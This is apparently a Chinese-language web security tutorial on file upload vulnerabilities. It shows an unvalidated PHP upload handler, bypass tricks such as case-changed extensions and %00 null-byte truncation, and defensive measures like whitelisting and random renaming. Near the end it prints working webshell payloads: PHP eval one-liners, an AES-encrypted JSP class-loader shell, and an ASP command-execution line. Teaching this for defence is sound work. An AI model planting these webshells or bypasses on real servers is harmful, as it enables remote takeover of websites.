赞
踩
文件上传漏洞(File Upload Vulnerabilities)是由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意恶意文件,并能够将这些文件传递给后端服务器的解释器,就可以在远程服务器上执行任意代码、脚本。
一般情况下,Web应用都会允许用户上传一些文件,如头像、相册、模板文件、附件等信息,如果Web系统没有对用户上传的文件进行有效的检查过滤,恶意用户就会上传一句话木马等webshell,从而达到控制web网站的目的。
上传文件时,如果服务端代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。
下面是一个简单的文件上传html表单
<form action="upload.php" method="post" enctype="multipart/form-data" name="form">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
对应PHP服务端代码,解析并写入文件
<? php
$uploaddir = "D:/www/images/";
if (isset($_FILES['file1'])) {
// 要放在网站目录中的完整路径,包含文件名
$uploadfile = $uploaddir.$_FILES['file']['name'];
// 将服务器存放的路径,移动到真实文件名
move_uploaded_file($_FILES['file1']['tmp_name'], $uploadfile);
} ?>
这个例子没有任何校验,可以上传任意文件,利用此漏洞攻击者可以上传任意的木马文件导致网站失陷。
有些输入对文件名进行了过滤,但是大小写的情况仍可以上传成功,如pHp,AsP
。
修改文件名fi.php%00.jpg
,文件被保存到服务器时%00
会把.jpg
及后面的文件名全部截断,那么文件名就剩下fi.php
,因此成功上传了WebShell脚本。
截断使用的条件:
PHP版本小于5.3.4,PHP的配置magic_quotes_gpc=OFF
状态。
%00
截断的概念和原理:
在URL中%00
表示ASCII码中的0,而0作为特殊字符保留表示字符的结束,当url中出现%00
时就会认为读取已结束,而忽略后面额的所有字符。
语言 | 文件后缀 |
---|---|
ASP/X | asp,aspx,asa,ascx,ashx,asmx,cer,cdx |
PHP | php,php5,php4,php3,phtml,pht |
JSP | jsp,jspx,jspa,jsw,jsv,jspf,jtml |
主要是使用JavaScript
对上传文件的后缀名、大小等进行校验的完整性。
根据允许扩展名的白名单判定合法,而不是禁止扩展名的黑名单来检查文件扩展名,确定允许哪些扩展比猜测攻击者可能尝试上传哪些扩展要容易一些。
确保文件名不包含任何可能被解释为目录或遍历序列../
的字符串,防止发生路径穿越等越权行为。
对于用户上传的文件,使用随机数或编码重命名文件,以避免可能导致现有文件被覆盖的冲突,例如rand(10,99).date("YmdHis").".jpg"
。
常见的文件上传漏洞的方法就是上传网站木马(webshell)文件,根据不同的语言分为ASP木马、PHP木马、JSP木马等等,该类木马利用了脚本语言中可以执行命令函数,执行系统命令,文件读取写等功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制获取到网站系统权限。
PHP
<?php @eval($_POST['pass']);?>
<?= eval($_REQUEST{pass});?>
JSP
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);
out.print(k);return;}
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
new U(this.getClass().getClassLoader()).g(c.doFinal(decoder.decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
ASP/X
// ASP
<%execute request("cmd")%>
// ASPX
<%@ Page Language="Jscript"%>
参考链接:
https://portswigger.net/web-security/file-upload
https://github.com/c0ny1/upload-labs
https://mp.weixin.qq.com/s/SRxToeK38_stBuk3xaZG_Q
https://mp.weixin.qq.com/s/a7s7Nog9Ny0oIJZ4lM-DUw
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。